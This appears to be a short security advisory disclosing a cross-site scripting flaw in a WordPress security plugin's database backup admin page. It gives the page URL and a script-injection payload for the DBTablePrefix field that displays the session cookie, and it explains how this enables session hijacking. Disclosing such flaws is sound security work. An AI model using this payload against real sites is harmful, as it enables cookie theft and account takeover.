Description
================
By exploiting a Cross-site scripting vulnerability the attacker can hijack
a logged in user’s session by stealing cookies. This means that the
malicious hacker can change the logged in user’s password and invalidate
the session of the victim while the hacker maintains access.
Technical Details
================
1. Visit the following page on a site with this plugin installed.
http://yourwordpresssite.com/wordpress/wp-admin/admin.php?page=bulletproof-security/admin/db-backup-security/db-backup-security.php
2. Modify the value of DBTablePrefix variable with
*"></script><script>alert(document.cookie);</script>
